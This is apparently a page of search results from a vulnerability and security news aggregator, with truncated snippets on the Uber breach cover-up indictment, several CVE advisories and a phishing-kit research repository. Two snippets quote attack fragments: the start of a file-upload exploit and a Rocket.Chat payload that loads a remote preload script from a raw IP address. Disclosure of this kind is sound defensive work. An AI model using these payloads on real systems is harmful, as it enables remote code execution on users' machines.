11810 matches found
A Former Uber Exec's Indictment Is a Warning Shot
Prosecutors allege that former Uber security chief Joseph Sullivan covered up a major breach, in the first high-profile case of its kind...
Former Uber CSO Charged With Paying ‘Hush Money’ in 2016 Breach Cover-Up
A former Uber security executive has been charged for his role in the cover-up of a massive 2016 data breach, in which attackers accessed the company’s Amazon Web Services accounts and stole data associated with 57 million passengers and drivers. The U.S. State Attorney for the Northern District ...
Former Uber Security Chief Charged Over Covering Up 2016 Data Breach
The federal prosecutors in the United States have charged Uber's former chief security officer, Joe Sullivan, for covering up a massive data breach that the ride-hailing company suffered in 2016. According to the press release published by the U.S. Department of Justice, Sullivan "took deliberate...
PT-2020-19726 · Nis-Utils · Nis-Utils
Name of the Vulnerable Software and Affected Versions: nis-utils versions up to and including 0.6.10 Description: The issue concerns Prototype Pollution via the setValue function. This affects all versions of the package up to and including 0.6.10. Recommendations: For versions up to and includin...
Quiz and Survey Master < 7.0.1 - Arbitrary File Upload
This flaw made it possible for unauthenticated attackers to upload arbitrary files and achieve remote code execution. Set-up quiz that accepts file uploads, then upload file and change content-type to one set as approved. history.pushState'', '', '/' function submitRequest var xhr = new...
PhishingKitTracker - Let's Track Phishing Kits To Give To Research Community Raw Material To Stud
An extensible and freshly updated collection of phishingkits for forensics and future analysis topped with simple stats Disclaimer This repository holds a collection of Phishing Kits used by criminals to steal user information. Almost every file into the raw folder is malicious so I strongly...
Rocket.Chat: Remote Code Execution in Rocket.Chat-Desktop
Description: Rocket.Chat-Desktop is vulnerable to remote code execution. An attacker is able to create new BrowserWindow instances with a malicious preload script. Releases Affected: Rocket.Chat-Desktop-Client: PWNED', '', 'nodeIntegration=true', 'preload=\\45.155.173.235\data\cmd.js'.join','...
CVE-2020-7518
A CWE-20: Improper input validation vulnerability exists in Easergy Builder Version 1.4.7.2 and older which could allow an attacker to modify project configuration files...
CVE-2020-12031
In all versions of FactoryTalk View SE, after bypassing memory corruption mechanisms found in the operating system, a local, authenticated attacker may corrupt the associated memory space allowing for arbitrary code execution. Rockwell Automation recommends applying patch 1126290. Before installi...
Memory corruption
In all versions of FactoryTalk View SE, after bypassing memory corruption mechanisms found in the operating system, a local, authenticated attacker may corrupt the associated memory space allowing for arbitrary code execution. Rockwell Automation recommends applying patch 1126290. Before installi...
CVE-2020-12031 Rockwell Automation FactoryTalk View SE
In all versions of FactoryTalk View SE, after bypassing memory corruption mechanisms found in the operating system, a local, authenticated attacker may corrupt the associated memory space allowing for arbitrary code execution. Rockwell Automation recommends applying patch 1126290. Before installi...
CVE-2020-12029 Rockwell Automation FactoryTalk View SE
All versions of FactoryTalk View SE do not properly validate input of filenames within a project directory. A remote, unauthenticated attacker may be able to execute a crafted file on a remote endpoint that may result in remote code execution RCE. Rockwell Automation recommends applying patch...
Unspecified Vulnerability in Oracle MySQL Server (CNVD-2020-41470)
Oracle MySQL is an open source relational database management system from Oracle Corporation, of which MySQL Server is a database server component. A security vulnerability exists in the Server: DML component of MySQL Server 8.0.20 and earlier versions of Oracle MySQL. An attacker could exploit...
MilkyTracker Resource Management Error Vulnerability
MilkyTracker is an application that plays MOD format files and arranges them. A resource management error vulnerability exists in the PlayerGeneric.cpp file in MilkyTracker 1.02.00 and earlier versions. The vulnerability originates from a networked system or product that mismanages system resourc...
Threat Source newsletter for June 25, 2020
Newsletter compiled by Jon Munshaw. Good afternoon, Talos readers. We recently decided to replace our use of the terms "blacklist" and "whitelist" with "block list" and "allow list.” Even though these terms are commonly in use in the security industry, we will not go along with casually assigning...
PT-2020-3498 · Red Hat · Openshift-Service-Mesh/Istio-Rhel8-Operator
Name of the Vulnerable Software and Affected Versions: openshift-service-mesh/istio-rhel8-operator versions through 1.1.3 Description: The issue is related to an incorrect access control flaw in the operator, allowing an attacker with basic access to the cluster to deploy a custom gateway or pod ...
CVE-2020-9657
Adobe Premiere Rush versions 1.5.12 and earlier have an out-of-bounds write vulnerability. Successful exploitation could lead to arbitrary code execution...
CVE-2020-14943
The Firstname and Lastname parameters in Global RADAR BSA Radar 1.6.7234.24750 and earlier are vulnerable to stored cross-site scripting XSS via Update User Profile...